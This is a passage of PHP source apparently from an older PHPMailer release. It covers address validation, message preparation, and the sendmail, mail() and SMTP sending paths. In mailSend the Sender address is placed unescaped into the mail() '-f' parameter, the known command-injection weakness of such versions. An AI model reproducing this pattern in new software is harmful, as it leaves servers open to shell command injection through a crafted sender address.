  2251. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  2252. if (!$this->validateAddress($address)) {
  2253. $this->setError($this->lang('invalid_address') . ': ' . $address);
  2254. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  2255. if ($this->exceptions) {
  2256. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  2257. }
  2258. return false;
  2259. }
  2260. if ($kind != 'Reply-To') {
  2261. if (!isset($this->all_recipients[strtolower($address)])) {
  2262. array_push($this->$kind, array($address, $name));
  2263. $this->all_recipients[strtolower($address)] = true;
  2264. return true;
  2265. }
  2266. } else {
  2267. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  2268. $this->ReplyTo[strtolower($address)] = array($address, $name);
  2269. return true;
  2270. }
  2271. }
  2272. return false;
  2273. }
  2274.  
  2275. /**
  2276. * Set the From and FromName properties.
  2277. * @param string $address
  2278. * @param string $name
  2279. * @param boolean $auto Whether to also set the Sender address, defaults to true
  2280. * @throws phpmailerException
  2281. * @return boolean
  2282. */
  2283. public function setFrom($address, $name = '', $auto = true)
  2284. {
  2285. $address = trim($address);
  2286. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  2287. if (!$this->validateAddress($address)) {
  2288. $this->setError($this->lang('invalid_address') . ': ' . $address);
  2289. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  2290. if ($this->exceptions) {
  2291. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  2292. }
  2293. return false;
  2294. }
  2295. $this->From = $address;
  2296. $this->FromName = $name;
  2297. if ($auto) {
  2298. if (empty($this->Sender)) {
  2299. $this->Sender = $address;
  2300. }
  2301. }
  2302. return true;
  2303. }
  2304.  
  2305. /**
  2306. * Return the Message-ID header of the last email.
  2307. * Technically this is the value from the last time the headers were created,
  2308. * but it's also the message ID of the last sent message except in
  2309. * pathological cases.
  2310. * @return string
  2311. */
  2312. public function getLastMessageID()
  2313. {
  2314. return $this->lastMessageID;
  2315. }
  2316.  
  2317. /**
  2318. * Check that a string looks like an email address.
  2319. * @param string $address The email address to check
  2320. * @param string $patternselect A selector for the validation pattern to use :
  2321. * * `auto` Pick strictest one automatically;
  2322. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  2323. * * `pcre` Use old PCRE implementation;
  2324. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
  2325. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  2326. * * `noregex` Don't use a regex: super fast, really dumb.
  2327. * @return boolean
  2328. * @static
  2329. * @access public
  2330. */
  2331. public static function validateAddress($address, $patternselect = 'auto')
  2332. {
  2333. if (!$patternselect or $patternselect == 'auto') {
  2334. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  2335. //Constant was added in PHP 5.2.4
  2336. if (defined('PCRE_VERSION')) {
  2337. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  2338. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  2339. $patternselect = 'pcre8';
  2340. } else {
  2341. $patternselect = 'pcre';
  2342. }
  2343. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  2344. //Fall back to older PCRE
  2345. $patternselect = 'pcre';
  2346. } else {
  2347. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  2348. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  2349. $patternselect = 'php';
  2350. } else {
  2351. $patternselect = 'noregex';
  2352. }
  2353. }
  2354. }
  2355. switch ($patternselect) {
  2356. case 'pcre8':
  2357. /**
  2358. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  2359. * @link http://squiloople.com/2009/12/20/email-address-validation/
  2360. * @copyright 2009-2010 Michael Rushton
  2361. * Feel free to use and redistribute this code. But please keep this copyright notice.
  2362. */
  2363. return (boolean)preg_match(
  2364. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  2365. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  2366. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  2367. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  2368. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  2369. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  2370. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  2371. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  2372. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  2373. $address
  2374. );
  2375. case 'pcre':
  2376. //An older regex that doesn't need a recent PCRE
  2377. return (boolean)preg_match(
  2378. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  2379. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  2380. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  2381. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  2382. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  2383. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  2384. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  2385. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  2386. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  2387. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  2388. $address
  2389. );
  2390. case 'html5':
  2391. /**
  2392. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  2393. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  2394. */
  2395. return (boolean)preg_match(
  2396. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  2397. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  2398. $address
  2399. );
  2400. case 'noregex':
  2401. //No PCRE! Do something _very_ approximate!
  2402. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  2403. return (strlen($address) >= 3
  2404. and strpos($address, '@') >= 1
  2405. and strpos($address, '@') != strlen($address) - 1);
  2406. case 'php':
  2407. default:
  2408. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  2409. }
  2410. }
  2411.  
  2412. /**
  2413. * Create a message and send it.
  2414. * Uses the sending method specified by $Mailer.
  2415. * @throws phpmailerException
  2416. * @return boolean false on error - See the ErrorInfo property for details of the error.
  2417. */
  2418. public function send()
  2419. {
  2420. try {
  2421. if (!$this->preSend()) {
  2422. return false;
  2423. }
  2424. return $this->postSend();
  2425. } catch (phpmailerException $exc) {
  2426. $this->mailHeader = '';
  2427. $this->setError($exc->getMessage());
  2428. if ($this->exceptions) {
  2429. throw $exc;
  2430. }
  2431. return false;
  2432. }
  2433. }
  2434.  
  2435. /**
  2436. * Prepare a message for sending.
  2437. * @throws phpmailerException
  2438. * @return boolean
  2439. */
  2440. public function preSend()
  2441. {
  2442. try {
  2443. $this->mailHeader = '';
  2444. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  2445. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  2446. }
  2447.  
  2448. // Set whether the message is multipart/alternative
  2449. if (!empty($this->AltBody)) {
  2450. $this->ContentType = 'multipart/alternative';
  2451. }
  2452.  
  2453. $this->error_count = 0; // reset errors
  2454. $this->setMessageType();
  2455. // Refuse to send an empty message unless we are specifically allowing it
  2456. if (!$this->AllowEmpty and empty($this->Body)) {
  2457. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  2458. }
  2459.  
  2460. $this->MIMEHeader = $this->createHeader();
  2461. $this->MIMEBody = $this->createBody();
  2462.  
  2463. // To capture the complete message when using mail(), create
  2464. // an extra header list which createHeader() doesn't fold in
  2465. if ($this->Mailer == 'mail') {
  2466. if (count($this->to) > 0) {
  2467. $this->mailHeader .= $this->addrAppend('To', $this->to);
  2468. } else {
  2469. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  2470. }
  2471. $this->mailHeader .= $this->headerLine(
  2472. 'Subject',
  2473. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  2474. );
  2475. }
  2476.  
  2477. // Sign with DKIM if enabled
  2478. if (!empty($this->DKIM_domain)
  2479. && !empty($this->DKIM_private)
  2480. && !empty($this->DKIM_selector)
  2481. && file_exists($this->DKIM_private)) {
  2482. $header_dkim = $this->DKIM_Add(
  2483. $this->MIMEHeader . $this->mailHeader,
  2484. $this->encodeHeader($this->secureHeader($this->Subject)),
  2485. $this->MIMEBody
  2486. );
  2487. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  2488. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  2489. }
  2490. return true;
  2491.  
  2492. } catch (phpmailerException $exc) {
  2493. $this->setError($exc->getMessage());
  2494. if ($this->exceptions) {
  2495. throw $exc;
  2496. }
  2497. return false;
  2498. }
  2499. }
  2500.  
  2501. /**
  2502. * Actually send a message.
  2503. * Send the email via the selected mechanism
  2504. * @throws phpmailerException
  2505. * @return boolean
  2506. */
  2507. public function postSend()
  2508. {
  2509. try {
  2510. // Choose the mailer and send through it
  2511. switch ($this->Mailer) {
  2512. case 'sendmail':
  2513. case 'qmail':
  2514. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  2515. case 'smtp':
  2516. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  2517. case 'mail':
  2518. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  2519. default:
  2520. $sendMethod = $this->Mailer.'Send';
  2521. if (method_exists($this, $sendMethod)) {
  2522. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  2523. }
  2524.  
  2525. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  2526. }
  2527. } catch (phpmailerException $exc) {
  2528. $this->setError($exc->getMessage());
  2529. $this->edebug($exc->getMessage());
  2530. if ($this->exceptions) {
  2531. throw $exc;
  2532. }
  2533. }
  2534. return false;
  2535. }
  2536.  
  2537. /**
  2538. * Send mail using the $Sendmail program.
  2539. * @param string $header The message headers
  2540. * @param string $body The message body
  2541. * @see PHPMailer::$Sendmail
  2542. * @throws phpmailerException
  2543. * @access protected
  2544. * @return boolean
  2545. */
  2546. protected function sendmailSend($header, $body)
  2547. {
  2548. if ($this->Sender != '') {
  2549. if ($this->Mailer == 'qmail') {
  2550. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  2551. } else {
  2552. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  2553. }
  2554. } else {
  2555. if ($this->Mailer == 'qmail') {
  2556. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  2557. } else {
  2558. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  2559. }
  2560. }
  2561. if ($this->SingleTo) {
  2562. foreach ($this->SingleToArray as $toAddr) {
  2563. if (!@$mail = popen($sendmail, 'w')) {
  2564. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2565. }
  2566. fputs($mail, 'To: ' . $toAddr . "\n");
  2567. fputs($mail, $header);
  2568. fputs($mail, $body);
  2569. $result = pclose($mail);
  2570. $this->doCallback(
  2571. ($result == 0),
  2572. array($toAddr),
  2573. $this->cc,
  2574. $this->bcc,
  2575. $this->Subject,
  2576. $body,
  2577. $this->From
  2578. );
  2579. if ($result != 0) {
  2580. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2581. }
  2582. }
  2583. } else {
  2584. if (!@$mail = popen($sendmail, 'w')) {
  2585. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2586. }
  2587. fputs($mail, $header);
  2588. fputs($mail, $body);
  2589. $result = pclose($mail);
  2590. $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  2591. if ($result != 0) {
  2592. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  2593. }
  2594. }
  2595. return true;
  2596. }
  2597.  
  2598. /**
  2599. * Send mail using the PHP mail() function.
  2600. * @param string $header The message headers
  2601. * @param string $body The message body
  2602. * @link http://www.php.net/manual/en/book.mail.php
  2603. * @throws phpmailerException
  2604. * @access protected
  2605. * @return boolean
  2606. */
  2607. protected function mailSend($header, $body)
  2608. {
  2609. $toArr = array();
  2610. foreach ($this->to as $toaddr) {
  2611. $toArr[] = $this->addrFormat($toaddr);
  2612. }
  2613. $to = implode(', ', $toArr);
  2614.  
  2615. if (empty($this->Sender)) {
  2616. $params = ' ';
  2617. } else {
  2618. $params = sprintf('-f%s', $this->Sender);
  2619. }
  2620. if ($this->Sender != '' and !ini_get('safe_mode')) {
  2621. $old_from = ini_get('sendmail_from');
  2622. ini_set('sendmail_from', $this->Sender);
  2623. }
  2624. $result = false;
  2625. if ($this->SingleTo && count($toArr) > 1) {
  2626. foreach ($toArr as $toAddr) {
  2627. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  2628. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  2629. }
  2630. } else {
  2631. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  2632. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  2633. }
  2634. if (isset($old_from)) {
  2635. ini_set('sendmail_from', $old_from);
  2636. }
  2637. if (!$result) {
  2638. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  2639. }
  2640. return true;
  2641. }
  2642.  
  2643. /**
  2644. * Get an instance to use for SMTP operations.
  2645. * Override this function to load your own SMTP implementation
  2646. * @return SMTP
  2647. */
  2648. public function getSMTPInstance()
  2649. {
  2650. if (!is_object($this->smtp)) {
  2651. $this->smtp = new SMTP;
  2652. }
  2653. return $this->smtp;
  2654. }
  2655.  
  2656. /**
  2657. * Send mail via SMTP.
  2658. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  2659. * Uses the PHPMailerSMTP class by default.
  2660. * @see PHPMailer::getSMTPInstance() to use a different class.
  2661. * @param string $header The message headers
  2662. * @param string $body The message body
  2663. * @throws phpmailerException
  2664. * @uses SMTP
  2665. * @access protected
  2666. * @return boolean
  2667. */
  2668. protected function smtpSend($header, $body)
  2669. {
  2670. $bad_rcpt = array();
  2671.  
  2672. if (!$this->smtpConnect()) {
  2673. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  2674. }
  2675. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  2676. if (!$this->smtp->mail($smtp_from)) {
  2677. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  2678. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  2679. }
  2680.  
  2681. // Attempt to send to all recipients
  2682. foreach ($this->to as $to) {
  2683. if (!$this->smtp->recipient($to[0])) {
  2684. $bad_rcpt[] = $to[0];
  2685. $isSent = false;
  2686. } else {
  2687. $isSent = true;
  2688. }
  2689. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  2690. }
  2691. foreach ($this->cc as $cc) {
  2692. if (!$this->smtp->recipient($cc[0])) {
  2693. $bad_rcpt[] = $cc[0];
  2694. $isSent = false;
  2695. } else {
  2696. $isSent = true;
  2697. }
  2698. $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
  2699. }
  2700. foreach ($this->bcc as $bcc) {
  2701. if (!$this->smtp->recipient($bcc[0])) {
  2702. $bad_rcpt[] = $bcc[0];
  2703. $isSent = false;
  2704. } else {
  2705. $isSent = true;
  2706. }
  2707. $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
  2708. }
  2709.  
  2710. // Only send the DATA command if we have viable recipients
  2711. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  2712. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  2713. }
  2714. if ($this->SMTPKeepAlive) {
  2715. $this->smtp->reset();
  2716. } else {
  2717. $this->smtp->quit();
  2718. $this->smtp->close();
  2719. }
  2720. if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
  2721. throw new phpmailerException(
  2722. $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
  2723. self::STOP_CONTINUE
  2724. );
  2725. }
  2726. return true;
  2727. }
  2728.  
  2729. /**
  2730. * Initiate a connection to an SMTP server.
  2731. * Returns false if the operation failed.
  2732. * @param array $options An array of options compatible with stream_context_create()
  2733. * @uses SMTP
  2734. * @access public
  2735. * @throws phpmailerException
  2736. * @return boolean
  2737. */
  2738. public function smtpConnect($options = array())
  2739. {
  2740. if (is_null($this->smtp)) {
  2741. $this->smtp = $this->getSMTPInstance();
  2742. }
  2743.  
  2744. // Already connected?
  2745. if ($this->smtp->connected()) {
  2746. return true;
  2747. }
  2748.  
  2749. $this->smtp->setTimeout($this->Timeout);
  2750. $this->smtp->setDebugLevel($this->SMTPDebug);
  2751. $this->smtp->setDebugOutput($this->Debugoutput);
  2752. $this->smtp->setVerp($this->do_verp);
  2753. $hosts = explode(';', $this->Host);
  2754. $lastexception = null;
  2755.  
  2756. foreach ($hosts as $hostentry) {
  2757. $hostinfo = array();
  2758. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  2759. // Not a valid host entry
  2760. continue;
  2761. }
  2762. // $hostinfo[2]: optional ssl or tls prefix
  2763. // $hostinfo[3]: the hostname
  2764. // $hostinfo[4]: optional port number
  2765. // The host string prefix can temporarily override the current setting for SMTPSecure
  2766. // If it's not specified, the default value is used
  2767. $prefix = '';
  2768. $tls = ($this->SMTPSecure == 'tls');
  2769. if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
  2770. $prefix = 'ssl://';
  2771. $tls = false; // Can't have SSL and TLS at once
  2772. } elseif ($hostinfo[2] == 'tls') {
  2773. $tls = true;
  2774. // tls doesn't use a prefix
  2775. }
  2776. $host = $hostinfo[3];
  2777. $port = $this->Port;
  2778. $tport = (integer)$hostinfo[4];
  2779. if ($tport > 0 and $tport < 65536) {
  2780. $port = $tport;
  2781. }
  2782. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  2783. try {
  2784. if ($this->Helo) {
  2785. $hello = $this->Helo;
  2786. } else {
  2787. $hello = $this->serverHostname();
  2788. }
  2789. $this->smtp->hello($hello);
  2790.  
  2791. if ($tls) {
  2792. if (!$this->smtp->startTLS()) {
  2793. throw new phpmailerException($this->lang('connect_host'));
  2794. }
  2795. // We must resend HELO after tls negotiation
  2796. $this->smtp->hello($hello);
  2797. }
  2798. if ($this->SMTPAuth) {
  2799. if (!$this->smtp->authenticate(
  2800. $this->Username,
  2801. $this->Password,
  2802. $this->AuthType,
  2803. $this->Realm,
  2804. $this->Workstation
  2805. )
  2806. ) {
  2807. throw new phpmailerException($this->lang('authenticate'));
  2808. }
  2809. }
  2810. return true;
  2811. } catch (phpmailerException $exc) {
  2812. $lastexception = $exc;
  2813. // We must have connected, but then failed TLS or Auth, so close connection nicely
  2814. $this->smtp->quit();
  2815. }
  2816. }
  2817. }
  2818. // If we get here, all connection attempts have failed, so close connection hard
  2819. $this->smtp->close();
  2820. // As we've caught all exceptions, just report whatever the last one was
  2821. if ($this->exceptions and !is_null($lastexception)) {
  2822. throw $lastexception;
  2823. }
  2824. return false;
  2825. }
  2826.  
  2827. /**
  2828. * Close the active SMTP session if one exists.
  2829. * @return void
  2830. */
  2831. public function smtpClose()
  2832. {
  2833. if ($this->smtp !== null) {
  2834. if ($this->smtp->connected()) {
  2835. $this->smtp->quit();
  2836. $this->smtp->close();
  2837. }
  2838. }
  2839. }
  2840.  
  2841. /**
  2842. * Set the language for error messages.
  2843. * Returns false if it cannot load the language file.
  2844. * The default language is English.
  2845. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  2846. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  2847. * @return boolean
  2848. * @access public
  2849. */
  2850. public function setLanguage($langcode = 'en', $lang_path = '')
  2851. {
  2852. // Define full set of translatable strings in English
  2853. $PHPMAILER_LANG = array(
  2854. 'authenticate' => 'SMTP Error: Could not authenticate.',
  2855. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  2856. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  2857. 'empty_message' => 'Message body empty',
  2858. 'encoding' => 'Unknown encoding: ',
  2859. 'execute' => 'Could not execute: ',
  2860. 'file_access' => 'Could not access file: ',
  2861. 'file_open' => 'File Error: Could not open file: ',
  2862. 'from_failed' => 'The following From address failed: ',
  2863. 'instantiate' => 'Could not instantiate mail function.',
  2864. 'invalid_address' => 'Invalid address',
  2865. 'mailer_not_supported' => ' mailer is not supported.',
  2866. 'provide_address' => 'You must provide at least one recipient email address.',
  2867. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  2868. 'signing' => 'Signing Error: ',
  2869. 'smtp_connect_failed' => 'SMTP connect() failed.',
  2870. 'smtp_error' => 'SMTP server error: ',
  2871. 'variable_set' => 'Cannot set or reset variable: '
  2872. );
  2873. if (empty($lang_path)) {
  2874. // Calculate an absolute path so it can work if CWD is not here
  2875. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  2876. }
  2877. $foundlang = true;
  2878. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  2879. if ($langcode != 'en') { // There is no English translation file
  2880. // Make sure language file path is readable
  2881. if (!is_readable($lang_file)) {
  2882. $foundlang = false;
  2883. } else {
  2884. // Overwrite language-specific strings.
  2885. // This way we'll never have missing translations.
  2886. $foundlang = include $lang_file;
  2887. }
  2888. }
  2889. $this->language = $PHPMAILER_LANG;
  2890. return (boolean)$foundlang; // Returns false if language not found
  2891. }
  2892.  
  2893. /**
  2894. * Get the array of strings for the current language.
  2895. * @return array
  2896. */
  2897. public function getTranslations()
  2898. {
  2899. return $this->language;
  2900. }
  2901.  
  2902. /**
  2903. * Create recipient headers.
  2904. * @access public
  2905. * @param string $type
  2906. * @param array $addr An array of recipient,
  2907. * where each recipient is a 2-element indexed array with element 0 containing an address
  2908. * and element 1 containing a name, like:
  2909. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  2910. * @return string
  2911. */
  2912. public function addrAppend($type, $addr)
  2913. {
  2914. $addresses = array();
  2915. foreach ($addr as $address) {
  2916. $addresses[] = $this->addrFormat($address);
  2917. }
  2918. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  2919. }
  2920.  
  2921. /**
  2922. * Format an address for use in a message header.
  2923. * @access public
  2924. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  2925. * like array('joe@example.com', 'Joe User')
  2926. * @return string
  2927. */
  2928. public function addrFormat($addr)
  2929. {
  2930. if (empty($addr[1])) { // No name provided
  2931. return $this->secureHeader($addr[0]);
  2932. } else {
  2933. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  2934. $addr[0]
  2935. ) . '>';
  2936. }
  2937. }
  2938.  
  2939. /**
  2940. * Word-wrap message.
  2941. * For use with mailers that do not automatically perform wrapping
  2942. * and for quoted-printable encoded messages.
  2943. * Original written by philippe.
  2944. * @param string $message The message to wrap
  2945. * @param integer $length The line length to wrap to
  2946. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  2947. * @access public
  2948. * @return string
  2949. */
  2950. public function wrapText($message, $length, $qp_mode = false)
  2951. {
  2952. $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  2953. // If utf-8 encoding is used, we will need to make sure we don't
  2954. // split multibyte characters when we wrap
  2955. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  2956. $lelen = strlen($this->LE);
  2957. $crlflen = strlen(self::CRLF);
  2958.  
  2959. $message = $this->fixEOL($message);
  2960. if (substr($message, -$lelen) == $this->LE) {
  2961. $message = substr($message, 0, -$lelen);
  2962. }
  2963.  
  2964. $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
  2965. $message = '';
  2966. for ($i = 0; $i < count($line); $i++) {
  2967. $line_part = explode(' ', $line[$i]);
  2968. $buf = '';
  2969. for ($e = 0; $e < count($line_part); $e++) {
  2970. $word = $line_part[$e];
  2971. if ($qp_mode and (strlen($word) > $length)) {
  2972. $space_left = $length - strlen($buf) - $crlflen;
  2973. if ($e != 0) {
  2974. if ($space_left > 20) {
  2975. $len = $space_left;
  2976. if ($is_utf8) {
  2977. $len = $this->utf8CharBoundary($word, $len);
  2978. } elseif (substr($word, $len - 1, 1) == '=') {
  2979. $len--;
  2980. } elseif (substr($word, $len - 2, 1) == '=') {
  2981. $len -= 2;
  2982. }
  2983. $part = substr($word, 0, $len);
  2984. $word = substr($word, $len);
  2985. $buf .= ' ' . $part;
  2986. $message .= $buf . sprintf('=%s', self::CRLF);
  2987. } else {
  2988. $message .= $buf . $soft_break;
  2989. }
  2990. $buf = '';
  2991. }
  2992. while (strlen($word) > 0) {
  2993. if ($length <= 0) {
  2994. break;
  2995. }
  2996. $len = $length;
  2997. if ($is_utf8) {
  2998. $len = $this->utf8CharBoundary($word, $len);
  2999. } elseif (substr($word, $len - 1, 1) == '=') {
  3000. $len--;
  3001. } elseif (substr($word, $len - 2, 1) == '=') {
  3002. $len -= 2;
  3003. }
  3004. $part = substr($word, 0, $len);
  3005. $word = substr($word, $len);
  3006.  
  3007. if (strlen($word) > 0) {
  3008. $message .= $part . sprintf('=%s', self::CRLF);
  3009. } else {
  3010. $buf = $part;
  3011. }
  3012. }
  3013. } else {
  3014. $buf_o = $buf;
  3015. $buf .= ($e == 0) ? $word : (' ' . $word);
  3016.  
  3017. if (strlen($buf) > $length and $buf_o != '') {
  3018. $message .= $buf_o . $soft_break;
  3019. $buf = $word;
  3020. }
  3021. }
  3022. }
  3023. $message .= $buf . self::CRLF;
  3024. }
  3025.  
  3026. return $message;
  3027. }
  3028.  
  3029. /**
  3030. * Find the last character boundary prior to $maxLength in a utf-8
  3031. * quoted (printable) encoded string.
  3032. * Original written by Colin Brown.
  3033. * @access public
  3034. * @param string $encodedText utf-8 QP text
  3035. * @param integer $maxLength find last character boundary prior to this length
  3036. * @return integer
  3037. */
  3038. public function utf8CharBoundary($encodedText, $maxLength)
  3039. {
  3040. $foundSplitPos = false;
  3041. $lookBack = 3;
  3042. while (!$foundSplitPos) {
  3043. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  3044. $encodedCharPos = strpos($lastChunk, '=');
  3045. if (false !== $encodedCharPos) {
  3046. // Found start of encoded character byte within $lookBack block.
  3047. // Check the encoded byte value (the 2 chars after the '=')
  3048. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  3049. $dec = hexdec($hex);
  3050. if ($dec < 128) { // Single byte character.
  3051. // If the encoded char was found at pos 0, it will fit
  3052. // otherwise reduce maxLength to start of the encoded char
  3053. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  3054. $maxLength - ($lookBack - $encodedCharPos);
  3055. $foundSplitPos = true;
  3056. } elseif ($dec >= 192) { // First byte of a multi byte character
  3057. // Reduce maxLength to split at start of character
  3058. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  3059. $foundSplitPos = true;
  3060. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  3061. $lookBack += 3;
